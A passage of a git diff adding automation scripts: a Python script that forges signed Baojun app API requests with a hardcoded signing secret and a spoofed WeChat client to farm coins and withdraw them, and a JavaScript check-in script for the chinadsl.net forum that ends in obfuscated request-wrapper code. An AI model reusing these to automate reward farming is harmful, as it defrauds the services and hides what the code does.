*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Host": "hapi.baojun.net", + "deviceType": "html5", + "Connection": "keep-alive", + "accessToken": accessToken, + "nonce": nonce, + "signatrue": signatrue, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13)XWEB/11581", + "oauthConsumerKey": oauthConsumerKey, + "timestamp": str(timestamp), + "platformNo": "Wx_mini", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://m.baojun.net/", + } + response = session.get(url=url, headers=header) + response = json.loads(response.text) + count = 0 + for tc in response['data']: + date_time3 = datetime.datetime.strptime(tc["expireDateStr"], "%Y-%m-%d %H:%M:%S").day + today_date3 = datetime.datetime.now().day - 1 + if date_time3 == today_date3: + count = count + 1 + + + timestamp = int(time.time() * 1000) + nonce = "1736566937191_1825450" + other = f"{nonce}JNWSY6RXYGXIWR2YCI2HOAGYG9LVQXYZ8d33d72c27994bdc9a9e9fdda2545690" + oauthConsumerKey = "20200113181123916714" + md5_str = f"{accessToken}{oauthConsumerKey}{timestamp}{other}" + signatrue = hashlib.md5(md5_str.encode('utf-8')).hexdigest() + url = 'https://hapi.baojun.net/base/ucenter/user/wallet/detail/v2?pocketClassType=2&pageNo=2&pageSize=20' + header = { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Host": "hapi.baojun.net", + "deviceType": "html5", + "Connection": "keep-alive", + "accessToken": accessToken, + "nonce": nonce, + "signatrue": signatrue, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13)XWEB/11581", + "oauthConsumerKey": oauthConsumerKey, + "timestamp": str(timestamp), + "platformNo": "Wx_mini", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://m.baojun.net/", + } + response = session.get(url=url, headers=header) + response = json.loads(response.text) + txall = 0 + for t2 in response['data']: + date_time2 = datetime.datetime.strptime(t2["expireDateStr"], "%Y-%m-%d %H:%M:%S").day + today_date2 = datetime.datetime.now().day - 1 + if date_time2 == today_date2: + txall = 1 + break + return txall, coin, count + except: + e = 2 + return e, e, e + +def getpostid(accessToken): + txall, coin, count = info(accessToken) + if txall == 2: + print(f"accessToken失效") + return + if txall == 1: + print(f"☁️刷前:提现判定") + elif coin == 0: + print(f"☁️刷前:0 元,已刷{count}/30") + else: + print(f"☁️刷前:{coin / 100}元,已刷{count}/30次") + for mm in range(10000): + if count >= 30 or txall == 1: + if txall == 1: + print(f"☁️判定:今日已提现,中止") + else: + print(f"☁️刷后:{coin / 100}元,已刷{count}/30次") + money(accessToken) + break + else: + timestamp = int(time.time() * 1000) + oauthConsumerKey = "20200113181123916714" + nonce = "4857289347289375" + other = f"{nonce}JNWSY6RXYGXIWR2YCI2HOAGYG9LVQXYZ8d33d72c27994bdc9a9e9fdda2545690" + md5_str = f"{accessToken}{oauthConsumerKey}{timestamp}{other}" + signatrue = hashlib.md5(md5_str.encode('utf-8')).hexdigest() + url = f'https://hapi.baojun.net/base/community/post/postList?postTypeId=1&postClassifyId=61&publishSmallProgram=2&pageNo={mm}&pageSize=35 ' + header = { + "Host": "hapi.baojun.net", + "Connection": "keep-alive", + "accessToken": accessToken, + "nonce": nonce, + "signatrue": signatrue, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13)XWEB/11581", + "oauthConsumerKey": oauthConsumerKey, + "Content-Type": "application/json", + "timestamp": str(timestamp), + "xweb_xhr": "1", + "platformNo": "Wx_mini", + "Accept": "*/*", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://servicewechat.com/wx58774bbe5cd15ebb/409/page-frame.html", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9" + } + try: + response = session.get(url=url, headers=header) + response = json.loads(response.text) + for i in response["data"]: + postid = i["postId"] + postTitle = i["postTitle"] + txall, coin, count = info(accessToken) + if count >= 30 or txall == 1: + break + lookVideo(accessToken, postid) + txallb, coinb, countb = info(accessToken) + if int(coinb)-int(coin)==0: + continue + time.sleep(0.1) + except Exception as e: + print(e) + +def main(): + if os.environ.get(environ): + ck = os.environ.get(environ) + else: + ck = "" + if ck == "": + print("请设置变量") + sys.exit() + ck_run = ck.split('\n') + ck_run = [item for item in ck_run if item] + print(f"{' ' * 10}꧁༺ {name} ༻꧂\n") + for i, ck_run_n in enumerate(ck_run): + print(f'\n----------- 🍺账号【{i + 1}/{len(ck_run)}】执行🍺 -----------') + try: + id,two = ck_run_n.split('#',2) + #id = id[:3] + "*****" + id[-3:] + print(f"📱:{id}") + getpostid(two) + time.sleep(random.randint(1, 2)) + except Exception as e: + print(e) + #notify.send('title', 'message') + print(f'\n----------- 🎊 执 行 结 束 🎊 -----------') + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/脚本库/web版/账密/宽带技术网/2025-08-25_chinadsl_db342b3d.js b/脚本库/web版/账密/宽带技术网/2025-08-25_chinadsl_db342b3d.js new file mode 100644 index 0000000..84a7592 --- /dev/null +++ b/脚本库/web版/账密/宽带技术网/2025-08-25_chinadsl_db342b3d.js @@ -0,0 +1,645 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/chinadsl.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/chinadsl.js +// # Repo: imoki/sign_script +// # Path: polymerization/chinadsl.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: db342b3d6f7631919c5ae6ae460906610890366a47ee9173a951925dad84bc82 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "宽带技术网" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20241226 + 环境变量名:无 + 环境变量值:无 + 备注:cookie填写宽带技术网网页版中获取的refresh_token。F12 -> NetWork(中文名叫"网络") ->https://www.chinadsl.net -> cookie + 宽带技术网网址:https://www.chinadsl.net +*/ + +var sheetNameSubConfig = "chinadsl"; // 分配置表名称 +var pushHeader = "【宽带技术网】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +qlSwitch = 0 + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i(.*?)<\/a>/i, + // /showmenu">积分: (.*?)<\/a>/i, + ] + valueName = [ + "用户", //"当前积分", + ] + valueArry = [] + + html = resp.text(); + // console.log(html) + + for(i=0; i< Reg.length; i++) + { + flagTrue = Reg[i].test(html); // 判断是否存在字符串 + if (flagTrue == true) { + let result = Reg[i].exec(html); // 提取匹配的字符串,["你已经连续签到 1 天,再接再厉!"," 1 "] + // result = result[0]; + result = result[1]; + valueArry[i] = result + content = valueName[i] + ":" + valueArry[i] + " " + messageSuccess += content; + console.log(content) + } else { + valueArry[i] = "获取失败" + content = "❌ " + valueName[i] + "获取失败\n" + messageFail += content; + } + } + messageSuccess += "🎉 " + "获得登录奖励\n" + + sleep(2000) + + url = "https://www.chinadsl.net/home.php?mod=task&do=apply&id=1" + + // 做任务 + // resp = HTTP.fetch(url, { + // method: "get", + // headers: headers, + // }); + resp = HTTP.get(url, {headers: headers,}); + + sleep(2000) + // 领取奖励 + url = "https://www.chinadsl.net/home.php?mod=task&do=draw&id=1" + // resp = HTTP.fetch(url, { + // method: "get", + // headers: headers, + // }); + resp = HTTP.get(url, {headers: headers,}); + sleep(2000) + + // 查询奖励积分 + url = "https://www.chinadsl.net/home.php?mod=task&item=done" + // resp = HTTP.fetch(url, { + // method: "get", + // headers: headers, + // }); + resp = HTTP.get(url, {headers: headers,}); + + // 积分 猫粮 10 + // 正则匹配 + Reg = [ + /积分 猫粮 (.*?) <\/td>/i, + ] + valueName = [ + "做任务获得积分", + ] + valueArry = [] + + html = resp.text(); + // console.log(html) + + for(i=0; i< Reg.length; i++) + { + flagTrue = Reg[i].test(html); // 判断是否存在字符串 + if (flagTrue == true) { + let result = Reg[i].exec(html); // 提取匹配的字符串,["你已经连续签到 1 天,再接再厉!"," 1 "] + // result = result[0]; + result = result[1]; + valueArry[i] = result + content = "🎉 " + valueName[i] + ":" + valueArry[i] + "\n" + messageSuccess += content; + console.log(content) + } else { + valueArry[i] = "获取失败" + content = "❌ " + valueName[i] + "获取失败\n" + messageFail += content; + } + } + + + sleep(2000) + // 登录,获取积分 + // resp = HTTP.fetch(url1, { + // method: "get", + // headers: headers, + // }); + resp = HTTP.get(url1, {headers: headers,}); + + // 显示积分 + // 正则匹配 + Reg = [ + // /title="访问我的空间">(.*?)<\/a>/i, + /showmenu">积分: (.*?)<\/a>/i, + ] + valueName = [ + //"用户", + "当前积分", + ] + valueArry = [] + + html = resp.text(); + // console.log(html) + + for(i=0; i< Reg.length; i++) + { + flagTrue = Reg[i].test(html); // 判断是否存在字符串 + if (flagTrue == true) { + let result = Reg[i].exec(html); // 提取匹配的字符串,["你已经连续签到 1 天,再接再厉!"," 1 "] + // result = result[0]; + result = result[1]; + valueArry[i] = result + content = "🎉 " + valueName[i] + ":" + valueArry[i] + "\n" + messageSuccess += content; + console.log(content) + } else { + valueArry[i] = "获取失败" + content = "❌ " + valueName[i] + "获取失败\n" + messageFail += content; + } + } + + + + // // 将数据写入表格中 + // writeColoums = ["D", "E", "F", "G"] // 写入的列 + // for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB 